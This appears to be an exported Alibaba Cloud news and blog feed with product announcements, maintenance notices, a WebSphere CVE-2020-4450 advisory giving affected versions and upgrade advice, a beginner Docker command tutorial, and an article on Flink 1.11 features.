    (3)整体技术架构更为清晰,每个服务相互独立且职责明确。加之阿里云应用引擎 Serverless (SAE)加持, 让客户只关注在业务层,做好产品。

    【填问卷抽礼品】

    为了更好地给您提供定制化服务,诚邀您填写问卷,我们将随机抽取用户赠送淘宝纪念版公仔或指尖陀螺哦!
    【点击链接马上填问卷抽礼品】
    https://survey.aliyun.com/apps/zhiliao/YmW95Gk8bU
    image.png

    【加入客户交流钉钉群】

    欢迎扫码加入在线教育客户交流钉钉群,阿里巴巴众多专家将在群内定期分享行业最佳实践和前沿技术干货,扫码入群,与更多行业精英互动交流。
    image.png

    ]]>
    阿里云荣获可信云容器安全能力先进级认证, ACK/ACR为企业级安全护航 Fri, 02 May 2025 09:39:03 +0800 jnocvbcs.jpg
    阿里云关注企业级用户的Kubernetes生产落地痛点,结合企业生产环境的大量实践,全面帮助企业真正落地云原生架构。安全侧问题,是众多大中型或金融领域企业的核心关注点。

    端到端云原生安全架构

    早在2018年,阿里云容器服务团队率先提出了“端到端的企业级安全能力”概念,并推出立体式的端到端云原生安全架构。
    容器和云原生时代的安全挑战和传统安全主要有以下三点不同:

    • 第一个是高动态和高密度。传统时代一台机器只跑几个应用,而现在在一台服务器会运行上百个应用,是原来十几倍的密度。另外考虑到容器的自动恢复等特性,上一刻的容器在A机器,下一刻就会随时漂移到另一台机器。
    • 第二个是敏捷和快速迭代,容器 DevOps 化的应用发布非常频繁,是传统的几倍。
    • 第三,在开放标准、软件行业社会化大分工的时代,越来越多不可信三方开源软件的引入也加剧了安全风险。而容器的这些特点都会对云原生安全提出了更高的要求。
      为了应对这些安全风险,阿里云容器服务团队推出立体式的端到端云原生安全架构,并从三个层面来解决安全问题:

    image.png

    • 最底层依托于阿里云平台已有的安全能力,包括物理安全,硬件安全,虚拟化安全和云产品安全能力;
    • 中间是容器基础设施安全层,基于最小化攻击面原则,提供了包括访问控制,权限收敛,配置加固和身份管理等重要的底座安全能力;同时针对凭证下发,证书、密钥,集群审计等用户访问链路上的安全要素,构建了对应的自动化运维体系;
    • 在容器基础设施安全层之上,针对容器应用从构建到运行的生命周期在供应链和运行时刻提供对应的安全能力,比如在构建阶段提供了镜像安全扫描和镜像签名能力;在部署和运行时刻,提供了集运行时策略管理,配置巡检,运行时安全扫描的一体化安全管理能力,同时支持安全沙箱容器和TEE机密计算技术,为企业容器应用提供更好的安全隔离性和数据安全私密性。

    纵深防御,呵护容器应用全生命周期

    随着云原生技术的日趋火热,已经有越来越多的企业选择在自己的生产环境中进行容器化的云原生改造,而K8s社区的火热使得其成为众多舆论媒体关注的目标之外,也使得其成为众多攻击者攻击的主要目标。

    容器安全如今充满新挑战, 一方面是Kubernetes、helm、etcd等开源项目的高危漏洞频出,相关舆论愈发引起关注,据统计,从2018年开始,Kubernetes社区已经暴露了20余次CVE漏洞。

    另一方面,Kubernetes作为云原生时代新的操作系统与不同的异构计算设备的广泛集成以及serverless技术的日趋发展也使得容器应用的生命周期越来越短,同时集群节点的容器应用部署密度也越来越高,传统的供应链侧的安全扫描已经很难将风险完全暴露, 面对上述种种安全挑战,需要针对云原生下容器技术的特点,在安全上构建更加明确的防护体系和相应的技术升级。

    阿里云容器服务ACK和容器镜像服务ACR在上述的基础架构-软件供应链-运行时三层云安全架构基础上,还做了两大工作:纵深防御,构建从供应链到运行时的一体化安全流程;最小化攻击面,打造安全稳定的容器基础平台。

    在企业级用户的应用生命周期中,基于阿里云容器服务安全的整体架构,首先在应用的开发,测试和构建阶段,用户可以在供应链侧通过镜像安全扫描提前暴露应用镜像中的安全风险,同时企业级用户可以在阿里云容器镜像服务企业版 ACR EE 中开启指定仓库的镜像签名能力为推送镜像自动签名;在应用部署前,默认安全是应用系统中安全设计的重要原则,而配置安全也是容器应用在生产环境命令的主要风险。为此集群的安全管理员可以通过阿里云容器服务提供的统一策略管理平台,遵循一致性的规则配置定义,为不同集群内的应用系统提供定制化的安全治理性;在应用成功部署后,并不意味着我们的安全工作就到此结束了,用户可以通过容器服务安全管理中心提供的运行时监控告警、配置巡检、集群审计和密钥加密等手段,保护容器应用的运行时刻安全,构建整个容器安全的纵深防御能力。
    image.png

    客户的选择,业界的认可,阿里云的使命

    自2011年开始容器化进程,阿里开启了中国公司将云原生技术体系在电商、金融、制造等领域中大规模应用的先河,阿里云沉淀了最丰富的云原生产品家族、最全面的云原生开源贡献、最大的容器集群和客户群体和广泛的云原生应用实践。
    很多选择了阿里云容器服务的客户也会有各种各样的安全场景需求:

    某国际新零售巨头在意公司内部IT资产安全,使用容器镜像服务 ACR 安全软件供应链的镜像加签和扫描,RAM角色进行系列度RBAC权限控制,服务网格全链路mTLS认证、证书管理和审计。

    某国际金融银行关注数据运转安全 ,不仅使用基于阿里云容器服务ACK的全链路数据加密和云安全中心运行时刻告警监控,而且还搭配使用托管服务网格ASM进行应用东西向流量的细粒度控制。

    某国际游戏厂商希望更高效管控各方权限,进行了pod级别的控制层面云资源的权限隔离,外部KMS系统的密钥同步导入更新,数据平面系列度的权限控制,以及密钥管理确保容器敏感信息不会泄露。

    2020年5月, Gartner发布《Solution Comparison for the Native Security Capabilities 》报告,首次全面评估全球TOP云厂商的整体安全能力。阿里云作为亚洲唯一入围厂商,其整体安全能力拿下全球第二,11项安全能力被评估为最高水平(High)。

    ]]>
    全部满分!阿里云函数计算通过可信云21项测试 Fri, 02 May 2025 09:39:03 +0800 今日,“2020 可信云线上峰会”正式召开。会上,中国信通院公布了混合云安全、云组网、函数即服务、消息队列、云计算安全运营中心等首次评估结果。阿里云函数计算通过了基础能力要求、平台可观测能力、服务性能、服务安全和服务计量准确性等 21 项测试,最终以满分成绩通过可信云函数即服务能力认证。

    阿里云的函数计算(Function Compute)是一种 Serverless 计算形态,采用云原生架构模式,从底层开始变革计算资源的形态,为软件架构设计与应用服务部署带来了新的设计思路,将繁重的基础设施管理工作交由云服务商负责,从而提高开发者的研发效率和创新能力,被 Gartner 称为最有潜力的云计算技术发展方向。

    使用阿里云函数计算的优势:

    1、开发者无需采购和管理服务器等基础设施,只需专注业务逻辑的开发,可以大幅缩短项目交付时间和人力成本;
    2、函数计算提供日志查询、性能监控等完备的可观测性能力,帮助开发者快速排查故障;
    3、开发者无需投入精力到繁琐的运维工作,函数计算根据业务规模毫秒级别弹性伸缩,快速扩容以应对峰值压力,性能优异;

    2019年,阿里云推出函数计算 2.0,通过一系列创新的功能,解决了 Serverless 计算服务的痛点。在函数计算出现之前,客户要通过很多胶水代码完成多个云产品间的集成,还要仔细处理各种错误情况。当函数计算和阿里云对象存储集成后,对象存储中产生的上传 / 删除对象等事件能够自动、可靠地触发函数处理,而且每个环节都是弹性高可用的,用户能够快速实现大规模数据的实时并行处理。同样的,通过消息中间件和函数计算的集成,客户可以快速实现大规模消息的实时处理。在未来,无论是一方云服务,还是三方应用,所有事件都可被函数计算等服务可靠地处理。

    更重要的是,函数计算 2.0 新增预留实例类型,允许用户自行管理实例的申请和释放。通过预留实例,用户能够提前预热函数或者长期保持常驻实例,杜绝因为实例启动带来的请求延迟。当负载超过预留实例处理能力,系统会自动扩容,使用按量实例处理请求。同时函数计算提供了详细的实例使用指标,帮助用户轻松预留合理数目的实例。

    函数计算 2.0 大幅增强了 Serverless 应用构建、运维等方面的用户体验。用户可以在自己的开发机本地环境中创建和云端运行环境一致的沙盒,进行依赖包安装、断点调试等操作。函数计算2.0 也提供了 VSCode、Intellij Idea、PyCharm 等流行开发工具的插件,通过图形用户界面的交互方式,进一步降低了工具的使用门槛。

    阿里云函数计算有丰富的应用场景。以新浪微博为例,明星事件、红包飞等业务经常会遇到高达几倍的瞬间峰值。同时,微博也具有明显的流量潮汐效应,峰谷值相差 5 倍以上。微博采用阿里云函数计算,根据请求量动态分配执行环境,毫秒级调度计算资源,确保在负载高时保持稳定的延时,在负载低时有着较高的资源利用率,且只会对代码运行时使用的计算资源付费。更棒的是函数计算与对象存储服务无缝集成,可以方便地对存储在对象存储中的图片进行实时处理。

    新浪.png

    函数计算毫秒级伸缩计算资源确保应用在热点事件发生时仍能保证稳定的延时,用户体验完全不受访问次数的影响。函数计算可以自动弹性地分配更多执行环境以支撑微博业务的持续发展。

    函数计算免运维特性可以提高上线迭代效率,降低运维成本。工程师只需编写业务代码即可快速搭建云原生应用。

    以石墨文档为例,为了支持实时协作编写,技术团队在背后做了非常多的努力,同时也面临着更严峻的挑战。多用户的实时修改会对服务器带来不小的压力。 用户敲击键盘输入一个文字只需要几毫秒。而在石墨文档上同时编写文档的用户非常多,很容易出现在一个很小的时间段内数据分布不均的情况。

    石墨文档使用阿里云函数计算搭建文档实时编辑服务,将文档实时协作的逻辑实现为函数,由函数计算的智能调度系统自动分配执行环境,处理多用户同时编写文档带来的峰值负载。 借助函数计算毫秒级别的资源伸缩能力,石墨文档解决了早晚高峰负载突增的计算资源扩容问题,相比于自建机房维护服务器,提高了资源利用率,减少了闲置资源的浪费,节省了 58% 的服务器成本。由于不用再考虑 CPU 密集型计算的负载均衡问题,项目的迭代与上线的步伐逐渐快了起来,工程师集中精力与产品团队合作,不断扩展业务价值。 计算的负载均衡问题,大大提高了开发效率和进程稳定性。

    目前,阿里云上Serverless 产品除了函数计算(FC),还有 Serverles应用引擎(SAE)和 Serverless 工作流(Serverless WorkFlow)。SAE 是面向应用的 Serverless PaaS 平台,它向上抽象了应用的概念,支持 Spring Cloud、Dubbo、HSF 等流行的开发框架,并通过 WAR 包、JAR 包和镜像等多种方式部署应用。Serverless 工作流是一个用来协调多个分布式任务执行的全托管 Serverless 云服务,致力于简化开发和运行业务流程所需要的任务协调、状态管理以及错误处理等繁琐工作,让用户聚焦业务逻辑开发。

    阿里云函数计算广泛应用于 Web 应用、实时数据处理、AI 推理、视频转码等场景中。在这次疫情中,函数计算更是应用在数字抗疫中,助力 20万+ 企业远程复工。未来,阿里云会进一步加速推动基础设施和服务 Serverless 化,Serverless 会站在云计算的浪潮之巅,引领新一轮的技术升级。

    点击 函数计算 了解更多应用场景和案例实践。

    ]]>
    【升级】7月28日MMX注册局维护通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【MMX注册局维护通知】

    维护时间:北京时间 2020年7月28日 13:00 - 15:00

    维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

    维护影响:届时 .Vip/.Work/.Beer/.Luxe/.Fit/.Yoga 域名的注册、续费、信息修改等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】7月30日阿里云域名注册、管理系统维护公告 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【域名注册、管理系统维护】

    维护时间:北京时间2020年7月30日 00:00 - 03:00

    维护内容:阿里云域名注册、管理系统将于上述时间进行系统维护。

    维护影响:届时域名注册、续费、转移、信息修改和域名信息模板、邮箱验证等相关功能,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的域名注册、续费、转入、赎回等操作,在支付费用后状态为“处理中”,待维护结束后将变为相应执行结果的正常状态;

    2、您提交的域名持有者过户、域名信息修改等操作将处理延迟,待维护结束后将变为相应执行结果的正常状态;

    3、您将无法对域名信息模板进行创建、修改、删除、设置为默认模板、提交模板实名认证等操作;

    4、您将不能提交域名邮箱验证和删除已验证邮箱。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】8月4日Donuts注册局维护通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【域名】【Donuts注册局维护通知】

    维护时间:北京时间2020年8月4日 01:00 - 02:30

    维护内容:接到注册局的通知,注册局 / 注册商将于上述时间对后台系统进行维护升级。

    维护影响:届时,您的 .ltd/.group/.pub/.live/.rocks/.band/.market/.software/.social/.lawyer/.engineer/.news/.video/.studio/.today /.plus/.world/.run/.show/.city/.gold/.today/.cool 等域名的续费、转入转出、信息修改和过户域名等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的续费、转入、转出域名等操作在支付费用后状态为“处理中”,且可能出现“不成功”等状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    如您的业务操作失败,建议维护后再次尝试。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】8月消息队列MQ升级计划通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【消息队列MQ】【升级通知】

    升级窗口:

    北京时间2020年08月04日 01:00 - 06:00

    北京时间2020年08月06日 01:00 - 06:00

    北京时间2020年08月11日 01:00 - 06:00

    北京时间2020年08月13日 01:00 - 09:00

    北京时间2020年08月18日 01:00 - 09:00

    北京时间2020年08月20日 01:00 - 09:00

    北京时间2020年08月25日 01:00 - 09:00

    北京时间2020年08月27日 01:00 - 09:00
    升级内容:所有地域的MQ服务(包含Tcp、Mqtt、Http接入方式)。

    升级影响:升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但可能会有异常日志。
    升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。
    如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【漏洞预警】WebSphere远程代码执行漏洞(CVE-2020-4450) Fri, 02 May 2025 09:39:04 +0800

    近日,阿里云应急响应中心监测到国外某安全研究团队披露关于CVE-2020-4450 WebSphere 远程代码执行漏洞相关分析详情。


    漏洞描述

    WebSphere Application Server 是一款由IBM 公司开发的高性能的 Java 应用服务器,可用于构建、运行、集成、保护和管理内部部署和/或外部部署的动态云和 Web 应用。2020年6月5日IBM官方发布安全补丁,修复了CVE-2020-4450 WebSphere Application Server 远程代码执行漏洞。2020年7月20日国外某安全团队披露相关漏洞分析,未经身份验证的远程攻击者可以通过IIOP协议,构造恶意请求从而在WebSphere实现远程代码执行。阿里云应急响应中心提醒 WebSphere 用户尽快采取安全措施阻止漏洞攻击


    影响版本

    WebSphere Application Server 9.0.0.0 – 9.0.5.4

    WebSphere Application Server 8.5.0.0 – 8.5.5.17

    WebSphere Application Server 8.0.0.0 – 8.0.0.15

    WebSphere Application Server 7.0.0.0 – 7.0.0.45


    安全建议

    建议将 WebSphere Application Server 升级至安全版本。下载地址参考:https://www.ibm.com/support/pages/node/6220276


    相关链接

    https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere



    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单或服务电话95187联系反馈。

    阿里云应急响应中心

    2020.07.29

    ]]>
    Docker入门篇-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Docker简介

    Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口

    Docker优势

    持续集成、版本控制、可移植性、隔离性和安全

    Docker的组成

    Docker组成

    镜像(image):

    Docker镜像就相当于是一个文件系统,通俗来说就是为容器用来创建容器的

    容器(Container):

    Docker 利用容器 (Container) 独立运行的一个或一组应用,容器是用镜像创建的运行实例,它可以被启动、开始、停止、删除,每个容器都是相互隔离的、保证安全的平台,可以把容器看做是一个简易版的Linux系统

    容器就相当于Java中的对象,镜像相当于Java中的类

    仓库(Repository)

    仓库是集中存放镜像文件的场所
    仓库注册服务器 (Registry) 上往往存放着多个仓库,每个仓库中又包含了多个镜像,每个镜像有不同的标签
    仓库分为公开仓库和私有仓库两种形式
    最大的公开仓库是DockerHub存放了数量庞大的镜像供用户下载,国内的公开仓库包括阿里云等

    Docker的底层原理

    Docker的工作原理

    Docker是基于C/S结构的系统,Docker的守护进程运行在Linux服务器(宿主机)上,当我们在Liunx服务器上(Docker-Client)输入Docker相关命令就会被发送给Doker-Server

    为什么Docker比VM(虚拟机)快

    1、Docker有着比虚拟机更少的抽象层,由于Docker不需要Hypervisor实现硬件资源虚拟化,运行在Docker容器上的程序直接使用的都是实际物理机的硬件资源,因此在CPU、内存利用率上docker将会在效率上有明显优势
    2、当新建一个容器时,Docker不需要和虚拟机一样重新加载一个操作系统内核,因而避免引导、加载操作系统内核返个比较费时费资源的过程,当新建一个虚拟机时,虚拟机软件需要加载GuestOS(虚拟机中的操作系统),这个新建过程是分钟级别的,而Docker由于直接利用宿主机的操作系统,则省略了这个复杂的过程,因此新建一个Docker容器只需要几秒钟

    Docker的安装

    1.需要Liunx版本为CentOS7.0以上

    2.卸载旧版本(非必须项)

    yum remove docker 
                      docker-client 
                      docker-client-latest 
                      docker-common 
                      docker-latest 
                      docker-latest-logrotate 
                      docker-logrotate 
                      docker-engine

    3.安装Docker所需要依赖

     yum install -y yum-utils  device-mapper-persistent-data  lvm2

    4.设置镜像仓库

    yum-config-manager  --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

    5.安装Docker

    yum -y install docker-ce

    6.设置阿里云镜像加速

    阿里云镜像加速)

    sudo mkdir -p /etc/docker
    sudo tee /etc/docker/daemon.json <<-'EOF'
    {
      "registry-mirrors": ["https://qhyb8ixp.mirror.aliyuncs.com"]
    }
    EOF
    sudo systemctl daemon-reload
    sudo systemctl restart docker

    7.开启Dcoker服务

    service docker start

    8.测试Docker-HelloWorld程序

    [root@iZ8vbi9mx98t2s78lyxfpuZ ~]# docker run hello-world 
    Unable to find image 'hello-world:latest' locally
    docker run hello-worldlatest: Pulling from library/hello-world
    0e03bdcc26d7: Already exists
    Digest: sha256:6a65f928fb91fcfbc963f7aa6d57c8eeb426ad9a20c7ee045538ef34847f44f1
    Status: Downloaded newer image for hello-world:latest
    
    Hello from Docker!             --> 出现这句话代表Docker安装没有问题
    This message shows that your installation appears to be working correctly.

    9.卸载Docker

    #1. 卸载依赖
    yum remove docker-ce docker-ce-cli containerd.io
    #2. 删除资源 /var/lib/docker 是docker的默认工作路径!
    rm -rf /var/lib/docker
    

    Docker帮助命令

    1. docker version     # 显示Docker的版本信息
    2. docker info           # 显示Docker的系统信息(包含镜像与容器的数量)
    3. docker 命令 --help  # 查看帮助(就是显示这个命令有什么可选项)

    Docker镜像命令

    1. docker images:显示本机上所有安装镜像

      [root@MT ~]# docker images
      
      REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
      centos              latest              470671670cac        4 months ago        237MB
      hello-world         latest              bf756fb1ae65        4 months ago        13.3kB
      
      # 可选项
      docker images -a # 列出所有的镜像
      docker images -q # 只显示镜像的id
      
      [root@MT ~]# docker images -aq
      470671670cac
      bf756fb1ae65
    2. docker search:搜索镜像

      [root@MT ~]# docker search mysql(镜像名)
      
      NAME                              DESCRIPTION                                     STARS
      mysql                             MySQL is a widely used, open-source relation…   9553             
      mariadb                           MariaDB is a community-developed fork of MyS…   3471 
      
      # 可选项
      docker search mysql -f=STARS=3000 # 列出镜像星数大于3000的镜像
    3. docker pull:下载镜像

      [root@MT ~]# docker pull mysql      # 下载最新版本的MySQL
      [root@MT ~]# docker pull mysql:5.7  # 下载指定版本的MySQL
    4. docker rmi:删除镜像

      docker rmi -f 镜像id                      # 删除指定的镜像
      docker rmi -f 镜像id 镜像id 镜像id 镜像id  # 删除指定的镜像
      docker rmi -f $(docker images -aq)       # 删除全部的镜像

    Docker容器命令

    1. docker run [可选参数] 镜像名

      [root@MT ~]# docker run 可选参数 镜像名
      
      # 可选参数
      --name=”xxx“    # 容器名字
      -d              # 后台模式运行
      -it             # 使用交互模式运行,进入容器查看内容
      -p(小学)         # 指定端口映射 如:-p 8080(宿主机):8080(容器)
      -P(大写)         # 随机端口映射
      
      # 测试启动进入与退出容器
      [root@MT ~]# docker run -it centos /bin/bash           # /bin/bash 是使用命令行进入
      [root@6130f0353526 /]# ls                              # 此时已经进入Docker的CentOS容器
      bin  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
      [root@6130f0353526 /]# exit
      exit
      [root@MT ~]#
      
    2. docker ps [可选参数]:列出运行的容器

      [root@MT ~]# docker ps 可选参数
      
      # 可选参数
      -a       # 列出正在运行和历史运行过的容器
      -q       # 列出容器ID
      
      [root@MT ~]# docker ps -aq
      6130f0353526
      895577bc1ae7
      f9fc9c23267d
      faab3fceb1d3
    3. 退出容器

      exit          # 容器直接退出
      Ctrl + P + Q  # 容器不停止退出
    4. 删除容器

      docker rm -f 容器id              # 删除指定容器(不能删除正在运行的,如需要rm-rf)
      docker rm -f $(docker ps -aq)    # 删除所有容器
    5. 启动和停止容器操作

      docker start 容器id      # 启动容器
      docker restart 容器id    # 重启容器
      docker stop 容器id       # 停止正在运行的容器
      docker kill 容器id       # 强制停止

    Docker其它命令

    容器后台方式运行

    [root@MT ~]# docker run -d centos
    748d11ff226983ab8281fc6741087e6a3f349ad03f0cadafcd215aed894978dc
    [root@MT ~]# docker ps
    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
     # 问题:我们此时已经发现启动CentOS,但是确查不到正在运行的容器
     # 解释:Docker容器使用后台运行,就必须要有要一个前台进程,Docker发现没有应用,就会自动停止

    查看日志

    docker logs -tf 容器id             # 查看实时日志  
    docker logs -t --tail 数量 容器id  # 查看指定数量的日志           

    查看容器中的进程信息

    docker top 容器id

    查看镜像的元数据

    docker inspect 容器id

    进入当前正在运行的容器

    # 通常我们是使用后台方式运行容器,因为我们可能需要进入容器,修改配置
    
    # docker exec -it 容器ID /bin/bash (常用)
    # docker attach 容器ID
    
    # exec方式:就是类似新开一个窗口连接运行的容器
    # attach方式:就是直接连入当前的容器

    拷贝容器内文件到宿主机中

    docker cp 容器id:文件路径(容器内) 目的路径(宿主机)
    [root@MT ~]docker cp 1a9a6785c37c:/home/c.java /home/

    Docker安装Nginx

    # 1. 搜索镜像 search 建议大家去docker搜索,可以看到帮助文档
    docker search nginx
    # 2. 拉取镜像 docker pull nginx
    docker pull nginx
    # 3. 运行测试
      # -d 后台运行
      # --name 给容器命名
      # -p 宿主机端口:容器内部端口(我这里使用阿里云的3344端口,前提要在阿里云安全组开放次端口)
    docker run -d --name nginx -p 3344:80 nginx
    # 4.查看镜像
    docker ps
    # 5.测试是否成功
    curl localhost:3344 # 或者在浏览器输入ip:3344

    Docker安装Tomcat

    # 下载tomcat镜像
    docker pull tomcat:9.0
    # 运行tomcat镜像
    docker run -d tomcat -p 3344:8080 tomcat
    # 测试
    curl localhost:3344  # 此时发现无法访问
    # 原因:tomcat容器里面webapps目录下没有文件
    # 进入容器
    docker exec -it ef41045bea2b /bin/bash
    cp -r webapps.dist/* webapps
    # 重新测试 在浏览器输入ip:3344 --> 发现成功访问
    ]]>
    解决问题 1474 个,Flink 1.11 究竟有哪些易用性上的改善?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 王治江,Apache Flink PMC

    7月7日,Flink 1.11.0 正式发布了,作为这个版本的 release manager 之一,我想跟大家分享一下其中的经历感受以及一些代表性 feature 的解读。在进入深度解读前,我们先简单了解下社区发布的一般流程,帮助大家更好的理解和参与 Flink 社区的工作。

    • 首先在每个版本的规划初期,会从志愿者中选出 1-2 名作为 Release Manager。1.11.0 版本我作为中国这边的 Release Manager,同时还有一名来自 Ververica 的 Piotr Nowojski 作为德国方的 Release Manager,这在某种程度上也说明中国的开发者和贡献度在整个社区的占比很重要。
    • 接下来会进行这个版本的 Feature Kickoff。在一些大的方向上,社区的规划周期可能比较久,会分阶段、分步骤跨越多个版本完成,确保质量。每个版本的侧重点也会有所不同,比如前两个版本侧重于批处理的加强,而这个版本更侧重于流处理易用性的提升。社区规划的 Feature 列表会在邮件列表中发起讨论,以收集更多的用户/开发者意见和反馈。
    • 一般的开发周期为 2-3 个月时间,提前会明确规划出大概的 Feature Freeze 时间,之后进行 Release Candidate 的发布和测试、以及 Bug Fix。一般经过几轮的迭代周期后会正式投票通过一个相对稳定的 Candidate 版本,然后基于这个版本正式发布。

    Flink 1.11.0 从 3 月初的功能规划到 7 月初的正式发布,历经了差不多 4 个月的时间,对 Flink 的生态、易用性、生产可用性、稳定性等方面都进行了增强和改善,下面将一一跟大家分享。

    一 综述

    Flink 1.11.0 从 Feature 冻结后发布了 4 次 Candidate 才最终通过。经统计,一共有 236 个贡献者参与了这次版本开发,解决了 1474 个 Jira 问题,涉及 30 多个 FLIP,提交了 2325 个 Commit。

    1.jpg
    2.jpg

    纵观近五次版本发布,可以看出从 1.9.0 开始 Flink 进入了一个快速发展阶段,各个维度指标相比之前都有了几乎翻倍的提高。也是从 1.9.0 开始阿里巴巴内部的 Blink 项目开始被开源 Flink 整合,到 1.10.0 经过两个大版本已经全部整合完毕,对 Flink 从生态建设、功能性、性能和生产稳定性上都有了大幅的增强。

    Flink 1.11.0 版本的最初定位是重点解决易用性问题,提升用户业务的生产使用体验,整体上不做大的架构调整和功能开发,倾向于快速迭代的小版本开发。但是从上面统计的各个指标来看,所谓的“小版本”在各个维度的数据也丝毫不逊色于前两个大版本,解决问题的数量和参与的贡献者人数也在持续增加,其中来自中国的贡献者比例达到 62%。

    下面我们会深度剖析 Flink 1.11.0 带来了哪些让大家期待已久的特性,从用户直接使用的 API 层一直到执行引擎层,我们都会选择一些有代表性的 Feature 从不同维度解读,更完整的 Feature 列表请大家关注发布的 Release Blog。

    二 生态完善和易用性提升

    这两个维度在某种程度上是相辅相成的,很难严格区分开,生态兼容上的缺失常常造成使用上的不便,提升易用性的过程往往也是不断完善相关生态的过程。在这方面用户感知最明显的应该就是 Table & SQL API 层面的使用。

    1 Table & SQL 支持 Change Data Capture(CDC)

    CDC 被广泛使用在复制数据、更新缓存、微服务间同步数据、审计日志等场景,很多公司都在使用开源的 CDC 工具,如 MySQL CDC。通过 Flink 支持在 Table & SQL 中接入和解析 CDC 是一个强需求,在过往的很多讨论中都被提及过,可以帮助用户以实时的方式处理 Changelog 流,进一步扩展 Flink 的应用场景,例如把 MySQL 中的数据同步到 PG 或 ElasticSearch 中,低延时的 Temporal Join 一个 Changelog 等。

    除了考虑到上面的真实需求,Flink 中定义的“Dynamic Table”概念在流上有两种模型:Append 模式和 Update 模式。通过 Append 模式把流转化为“Dynamic Table”在之前的版本中已经支持,因此在 1.11.0 中进一步支持 Update 模式也从概念层面完整的实现了“Dynamic Table”。

    3.jpg

    为了支持解析和输出 Changelog,如何在外部系统和 Flink 系统之间编解码这些更新操作是首要解决的问题。考虑到 Source 和 Sink 是衔接外部系统的一个桥梁,因此 FLIP-95 在定义全新的 Table Source 和 Table Sink 接口时解决了这个问题。

    在公开的 CDC 调研报告中,Debezium 和 Canal 是用户中最流行使用的 CDC 工具,这两种工具用来同步 Changelog 到其它的系统中,如消息队列。据此,FLIP-105 首先支持了 Debezium 和 Canal 这两种格式,而且 Kafka Source 也已经可以支持解析上述格式并输出更新事件,在后续的版本中会进一步支持 Avro(Debezium) 和 Protobuf(Canal)。

    CREATE TABLE my_table (  
    ...) WITH (  
    'connector'='...', -- e.g. 'kafka'  
    'format'='debezium-json',  
    'debezium-json.schema-include'='true' -- default: false (Debezium can be configured to include or exclude the message schema)  
    'debezium-json.ignore-parse-errors'='true' -- default: false
    );

    2 Table & SQL 支持 JDBC Catalog

    1.11.0 之前,用户如果依赖 Flink 的 Source/Sink 读写关系型数据库或读取 Changelog 时,必须要手动创建对应的 Schema。而且当数据库中的 Schema 发生变化时,也需要手动更新对应的 Flink 作业以保持一致和类型匹配,任何不匹配都会造成运行时报错使作业失败。用户经常抱怨这个看似冗余且繁琐的流程,体验极差。

    实际上对于任何和 Flink 连接的外部系统都可能有类似的上述问题,在 1.11.0 中重点解决了和关系型数据库对接的这个问题。FLIP-93 提供了 JDBC catalog 的基础接口以及 Postgres catalog 的实现,这样方便后续实现与其它类型的关系型数据库的对接。

    1.11.0 版本后,用户使用 Flink SQL 时可以自动获取表的 Schema 而不再需要输入 DDL。除此之外,任何 Schema 不匹配的错误都会在编译阶段提前进行检查报错,避免了之前运行时报错造成的作业失败。这是提升易用性和用户体验的一个典型例子。

    3 Hive 实时数仓

    从 1.9.0 版本开始 Flink 从生态角度致力于集成 Hive,目标打造批流一体的 Hive 数仓。经过前两个版本的迭代,已经达到了 Batch 兼容且生产可用,在 TPC-DS 10T Benchmark 下性能达到 Hive 3.0 的 7 倍以上。

    1.11.0 在 Hive 生态中重点实现了实时数仓方案,改善了端到端流式 ETL 的用户体验,达到了批流一体 Hive 数仓的目标。同时在兼容性、性能、易用性方面也进一步进行了加强。

    在实时数仓的解决方案中,凭借 Flink 的流式处理优势做到实时读写 Hive:

    • Hive 写入:FLIP-115 完善扩展了 FileSystem Connector 的基础能力和实现,Table/SQL 层的 sink 可以支持各种格式(CSV、Json、Avro、Parquet、ORC),而且支持 Hive Table 的所有格式。
    • Partition 支持:数据导入 Hive 引入 Partition 提交机制来控制可见性,通过sink.partition-commit.trigger 控制 Partition 提交的时机,通过 sink.partition-commit.policy.kind 选择提交策略,支持 SUCCESS 文件和 Metastore 提交。
    • Hive 读取:实时化的流式读取 Hive,通过监控 Partition 生成增量读取新 Partition,或者监控文件夹内新文件生成来增量读取新文件。

    在 Hive 可用性方面的提升:

